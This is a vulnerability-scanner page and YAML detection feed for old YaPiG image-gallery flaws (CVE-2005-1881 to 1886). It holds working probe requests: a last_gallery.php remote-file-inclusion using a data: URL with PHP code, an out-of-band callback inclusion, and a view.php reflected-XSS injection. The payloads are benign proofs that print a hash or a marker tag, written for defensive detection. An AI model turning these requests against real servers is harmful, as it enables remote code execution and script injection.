YaPiG — 1 vulnerability check
noctis ships 1 vulnerability check for YaPiG, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
YaPiG < 0.95 Multiple Vulnerabilities (last_gallery.php Remote File Inclusion, upload.php, view.php)
| CVE | CVE-2005-1881, CVE-2005-1882, CVE-2005-1883, CVE-2005-1884, CVE-2005-1885, CVE-2005-1886 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/yapig/yapig-multiple-flaws.yaml |
Tests YaPiG (Yet Another PHP Image Gallery) for the flaws fixed in 0.95. Under the usual install folders, the feed requests last_gallery.php with YAPIG_PATH set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request (remote file inclusion). When OOB is enabled, YAPIG_PATH is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP require_once error naming a random folder followed by "config.php" shows that the value reaches the include unchecked. The feed also opens the first gallery and image linked from the gallery index and requests view.php with an HTML tag appended to the image number; the tag echoed unescaped in the page confirms the cross-site scripting flaw. When none of these succeeds, the gallery page's "Powered by YaPig" footer is read, and a version below 0.95 is reported with a lower confidence, as such versions also allow PHP file upload, directory traversal in upload.php and cross-site scripting in view.php. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/last_gallery.php?YAPIG_PATH={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: YaPiG last_gallery.php YAPIG_PATH Remote File Inclusion (CVE-2005-1882) - HTTP(S) request
GET {{dir}}/last_gallery.php?YAPIG_PATH={{probe.marker}}%2F - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/ - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php?gid={{xgid}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php?gid={{xgid}}&phid={{xphid}}%22%3E%3C{{probe.marker}}%3E - … and 8 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-1881
- https://nvd.nist.gov/vuln/detail/CVE-2005-1882
- https://nvd.nist.gov/vuln/detail/CVE-2005-1883
- https://nvd.nist.gov/vuln/detail/CVE-2005-1884
- https://nvd.nist.gov/vuln/detail/CVE-2005-1885
- https://nvd.nist.gov/vuln/detail/CVE-2005-1886
- https://sourceforge.net/projects/yapig/
Feed source — tests/vulnerabilities/yapig/yapig-multiple-flaws.yaml
# YaPiG (Yet Another PHP Image Gallery) < 0.95 multiple flaws —
# CVE-2005-1881 … CVE-2005-1886
#
# YaPiG 0.92b, 0.93u and 0.94u (SourceForge project "yapig") have, per the
# NVD records:
# CVE-2005-1881 upload.php extension check — PHP upload, code execution
# CVE-2005-1882 last_gallery.php YAPIG_PATH remote file inclusion (0.93u/0.94u)
# CVE-2005-1883 global.php BASE_DIR local file inclusion (0.92b)
# CVE-2005-1884 upload.php mkdir/rmdir ".." directory traversal
# CVE-2005-1885 view.php non-integer phid path disclosure
# CVE-2005-1886 view.php / comment form XSS
# 0.95 (2005-07-04) fixed them all (CHANGELOG "Vulnerability: … (#1230491)").
#
# last_gallery.php (0.93u, 0.94u) is a helper meant to be included by other
# pages and starts, with register_globals, with
#
# require_once($YAPIG_PATH . 'config.php');
#
# 0.95 adds `if (isset($_GET['YAPIG_PATH']) || isset($_POST['YAPIG_PATH'])) die;`
# right before it. No separator: "config.php" is glued to the value.
#
# Detection, per usual install folder (/yapig, /gallery, /photos, /photo and
# the web root — the source check's list):
# 1. In-band code execution (QoD 97, CVE-2005-1882): YAPIG_PATH is a data:
# URL holding <?php echo md5(A*B);exit;?> with random A and B. When PHP
# may include URLs the code runs (the appended "config.php" comes after
# exit) and the reply carries md5 of the product, a value the request
# never contains. A refused wrapper gives a warning quoting the code text,
# not the md5. The code has no quotes (magic_quotes_gpc-safe) and writes
# nothing.
# 2. OOB (QoD 97, only when OOB is enabled): YAPIG_PATH is the noctis
# callback URL followed by "?", so "config.php" lands in the query
# string; a fetch of the URL is the remote inclusion (allow_url_fopen on
# PHP 4 / 5.0 / 5.1). Covers servers that hide PHP errors.
# 3. Fallback (QoD 75): YAPIG_PATH is a random folder name; the reply must
# carry PHP's require_once()/main() warning or "Failed opening required"
# error naming "<random>/config.php": the value reached require_once().
# A page echoing its query string never adds "config.php".
# 4. view.php reflected XSS (QoD 75, CVE-2005-1886, no register_globals
# needed): the first gallery linked from the index and its first image
# give gid / phid; view.php?gid=<g>&phid=<n>"><noctis…> echoes the tag
# raw in the slideshow link (PHP < 8 loose key compare, no existence
# check before 0.95). Needs a gallery holding an image.
# 5. Version fallback (QoD 70, all six CVEs): only when 1–4 found nothing in
# any folder. The folder page shows "Powered by … YaPig</a> V<version>";
# any version below 0.95 is reported. The upload and directory flaws
# cannot be proven without writing on the server.
#
# CVSS: NVD v2 only (no v3 score): 7.5 for CVE-2005-1881/1882, which the
# findings carry.
#
# Ported from OpenVAS/Greenbone NVT pre2008/yapig_multiple_flaws.nasl
# (OID 1.3.6.1.4.1.25623.1.0.18523, GPL-2.0-only), a version-only check.
# Improvements: real code execution / OOB / include-error proof of
# CVE-2005-1882 and a reflected-XSS proof of CVE-2005-1886 before any
# version fallback, and a version regex that also
# matches the real 0.93u / 0.94u footers ("V0.93.0u", "V0.94.0u"), which the
# source regex V0\.(…|9([0-4][a-z]|5a)) misses.
uid: 8d988575-0124-4fde-bdf7-3337d5cb6a82
name: "YaPiG < 0.95 Multiple Vulnerabilities (last_gallery.php Remote File Inclusion, upload.php, view.php)"
description: |
Tests YaPiG (Yet Another PHP Image Gallery) for the flaws fixed in 0.95.
Under the usual install folders, the feed requests last_gallery.php with
YAPIG_PATH set to a data: URL carrying a small PHP snippet that prints the
md5 of the product of two random numbers; that md5 in the reply confirms
that the server ran code supplied in the request (remote file inclusion).
When OOB is enabled, YAPIG_PATH is also set to the scanner's callback URL,
and a fetch of that URL confirms the remote inclusion even when PHP output
and errors are hidden. Otherwise, a PHP require_once error naming a random
folder followed by "config.php" shows that the value reaches the include
unchecked. The feed also opens the first gallery and image linked from the
gallery index and requests view.php with an HTML tag appended to the image
number; the tag echoed unescaped in the page confirms the cross-site
scripting flaw. When none of these succeeds, the gallery page's "Powered by
YaPig" footer is read, and a version below 0.95 is reported with a lower
confidence, as such versions also allow PHP file upload, directory
traversal in upload.php and cross-site scripting in view.php. The snippet
only prints a hash and nothing is written on the server.
cves: [CVE-2005-1881, CVE-2005-1882, CVE-2005-1883, CVE-2005-1884, CVE-2005-1885, CVE-2005-1886]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [yapig, php, rfi, remote-file-inclusion, rce, register-globals, xss, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1881"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1882"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1883"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1884"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1885"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1886"
- "https://sourceforge.net/projects/yapig/"
# OpenVAS/Greenbone NASL pre2008/yapig_multiple_flaws.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
- id: init-ver-hit
action: set_var
var_name: ver_hit
var_value: ""
- id: init-xss-proof
action: set_var
var_name: xss_proof
var_value: ""
- id: init-xss-dir
action: set_var
var_name: xss_dir
var_value: ""
- id: init-xss-tmp
action: set_var
var_name: xss_tmp
var_value: ""
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/yapig", "/gallery", "/photos", "/photo", ""]
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
- id: init-gal
action: set_var
var_name: gal
var_value: {status: 0, body: ""}
- id: init-xss-r
action: set_var
var_name: xss_r
var_value: {status: 0, body: ""}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/last_gallery.php?YAPIG_PATH={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
cves: [CVE-2005-1882]
cvss: 7.5
title: "YaPiG last_gallery.php YAPIG_PATH Remote File Inclusion (CVE-2005-1882)"
description: "An unauthenticated request to YaPiG's last_gallery.php with YAPIG_PATH set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. last_gallery.php passes YAPIG_PATH to require_once() without any check, so an attacker can run any PHP code on the server. YaPiG versions before 0.95 also allow PHP file upload, directory traversal and cross-site scripting (CVE-2005-1881, CVE-2005-1884, CVE-2005-1886)."
remediation: "Upgrade YaPiG to 0.95 or later (the project is no longer maintained: consider removing it). Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/last_gallery.php?YAPIG_PATH=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 3. Random folder name — require_once() error naming it (fallback) ────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/last_gallery.php?YAPIG_PATH={{probe.marker}}%2F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter dropping
# "<?php"): this plain request may still get through.
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let f = probe.marker + "/config.php";
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = b.contains("Failed opening required '" + f + "'");
for w in ["require_once(", "require(", "include(", "include_once(", "main("] {
if b.contains(w + f + ")") { hit = true; }
}
hit
condition: "warn_found == false"
store_as: warn_hit
- id: warn-dir
action: script
code: "dir"
condition: "warn_found == false && warn_hit"
store_as: warn_dir
- id: warn-proof
action: script
code: 'probe.marker + "/config.php"'
condition: "warn_found == false && warn_hit"
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: "warn_hit"
# ── 4. Gallery index page: footer version + first gallery link ──────────
- id: page-probe
action: http_request
method: GET
path: "{{dir}}/"
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 10
condition: 'ver_hit == "" || xss_proof == ""'
store_as: page
- id: page-check
action: script
condition: 'ver_hit == ""'
code: |
let body = if type_of(page.body) == "string" { page.body } else { "" };
let m = eregmatch("Powered by .{0,200}YaPig.{0,10} V(0\\.([0-9]{2})[0-9a-z.]*)", body, true);
if type_of(m) == "array" && m.len() > 2 && int(m[2]) < 95 {
(if dir == "" { "/" } else { dir }) + " (YaPiG version " + m[1] + ")"
} else { "" }
store_as: ver_hit
# ── 5. view.php phid reflected XSS (CVE-2005-1886) ───────────────────────
# The index links each gallery as view.php?hit=yes&gid=<gid>, the
# gallery page each image as view.php?gid=<gid>&phid=<n>. On an image
# page, print_navigation_bar() writes the raw phid into the slideshow link
# (slideshow?gid=<gid>&phid=<phid>"). Before 0.95 nothing checks that
# phid names an existing image, and the image lookup compares the integer
# key with == (PHP < 8: "<n>\"><x>" == <n>), so phid "<n>"><noctis…>" is
# echoed unescaped. 0.95 stops with "Image not found" first.
- id: xss-gid
action: script
condition: 'xss_proof == ""'
code: |
let body = if type_of(page.body) == "string" { page.body } else { "" };
let m = eregmatch("view\\.php\\?(?:hit=yes&)?gid=([0-9A-Za-z_]+)", body);
if type_of(m) == "array" && m.len() > 1 { m[1] } else { "" }
store_as: xgid
- id: gal-probe
action: http_request
method: GET
path: "{{dir}}/view.php?gid={{xgid}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'xss_proof == "" && xgid != ""'
store_as: gal
- id: xss-phid
action: script
condition: 'xss_proof == "" && xgid != ""'
code: |
let body = if type_of(gal.body) == "string" { gal.body } else { "" };
let m = eregmatch("view\\.php\\?gid=" + xgid + "&phid=([0-9]+)", body);
if type_of(m) == "array" && m.len() > 1 { m[1] } else { "" }
store_as: xphid
- id: xss-probe
action: http_request
method: GET
path: "{{dir}}/view.php?gid={{xgid}}&phid={{xphid}}%22%3E%3C{{probe.marker}}%3E"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'xss_proof == "" && xgid != "" && xphid != ""'
store_as: xss_r
# The raw marker must follow the HTML-escaped "&phid=" of the link: a
# page echoing its query string gives "&phid=" (or escapes the quote).
- id: xss-check
action: script
condition: 'xss_proof == "" && xgid != "" && xphid != ""'
code: |
let body = if type_of(xss_r.body) == "string" { xss_r.body } else { "" };
let want = "gid=" + xgid + "&phid=" + xphid + "\"><" + probe.marker + ">";
if body.contains(want) { want } else { "" }
store_as: xss_tmp
- id: xss-dir
action: script
code: "dir"
condition: 'xss_proof == "" && xss_tmp != ""'
store_as: xss_dir
- id: xss-found
action: script
code: "xss_tmp"
condition: 'xss_proof == "" && xss_tmp != ""'
store_as: xss_proof
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# Sent to every folder not answering 404 (also when the code probe got no
# reply), since a server hiding PHP errors gives no in-band sign. "%3F"
# makes the appended "config.php" a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/last_gallery.php?YAPIG_PATH={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
cves: [CVE-2005-1882]
cvss: 7.5
title: "YaPiG last_gallery.php YAPIG_PATH Remote File Inclusion (CVE-2005-1882)"
description: "An unauthenticated request to YaPiG's last_gallery.php with YAPIG_PATH set to the noctis callback URL made the server fetch that URL: last_gallery.php passes YAPIG_PATH to require_once() without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "Upgrade YaPiG to 0.95 or later (the project is no longer maintained: consider removing it). Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/last_gallery.php?YAPIG_PATH=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback finding: require_once() error naming the random folder ──────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-z]+/config\\.php$"
condition: 'warn_proof != ""'
on_match:
finding:
cves: [CVE-2005-1882]
cvss: 7.5
title: "YaPiG last_gallery.php YAPIG_PATH File Inclusion (CVE-2005-1882)"
description: "An unauthenticated request to YaPiG's last_gallery.php with YAPIG_PATH set to a random folder name returned a PHP require_once error for that name followed by config.php: last_gallery.php passes YAPIG_PATH to require_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "Upgrade YaPiG to 0.95 or later (the project is no longer maintained: consider removing it). Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/last_gallery.php?YAPIG_PATH={{probe.marker}}/ returned a PHP require_once error for {{warn_proof}}"
stop: true
# ── view.php reflected XSS ───────────────────────────────────────────────
- id: report-xss
action: match
source: xss_proof
pattern: "&phid=[0-9]+\"><noctis[0-9a-z]+>$"
condition: 'xss_proof != ""'
on_match:
finding:
cves: [CVE-2005-1886]
cvss: 4.3
severity: medium
title: "YaPiG view.php phid Cross-Site Scripting (CVE-2005-1886)"
description: "An unauthenticated view.php request whose phid parameter carried an HTML tag after an existing image number returned that tag unescaped inside the page's slideshow link: view.php accepts any phid that starts with an image number and writes it raw into the page, so an attacker can run script in a visitor's browser. YaPiG versions before 0.95 also allow PHP file upload, file inclusion and directory traversal (CVE-2005-1881 to CVE-2005-1884)."
remediation: "Upgrade YaPiG to 0.95 or later (the project is no longer maintained: consider removing it)."
confidence_delta: 0.45
qod: 75
evidence: "GET {{xss_dir}}/view.php?gid=<gallery>&phid=<image>\"><{{probe.marker}}> returned the tag unescaped: {{xss_proof}}"
stop: true
# ── Version fallback: footer version below 0.95 ──────────────────────────
- id: report-version
action: match
source: ver_hit
pattern: "^/"
condition: 'ver_hit != ""'
on_match:
finding:
title: "YaPiG < 0.95 Multiple Vulnerabilities (version check)"
description: "The gallery page reports a YaPiG version below 0.95. These versions allow PHP file upload through upload.php (CVE-2005-1881), remote and local file inclusion through last_gallery.php and global.php (CVE-2005-1882, CVE-2005-1883), directory creation and removal outside the gallery folder (CVE-2005-1884), path disclosure and cross-site scripting through view.php (CVE-2005-1885, CVE-2005-1886). The file inclusion could not be confirmed (it needs register_globals), the cross-site scripting could not be confirmed (it needs a gallery holding an image, and PHP before 8), and the upload and directory flaws were not exercised, as proving them would write on the server."
remediation: "Upgrade YaPiG to 0.95 or later (the project is no longer maintained: consider removing it)."
confidence_delta: 0.40
qod: 70
evidence: "install dir {{ver_hit}}: \"Powered by YaPig V<version>\" footer, version below 0.95"
stop: true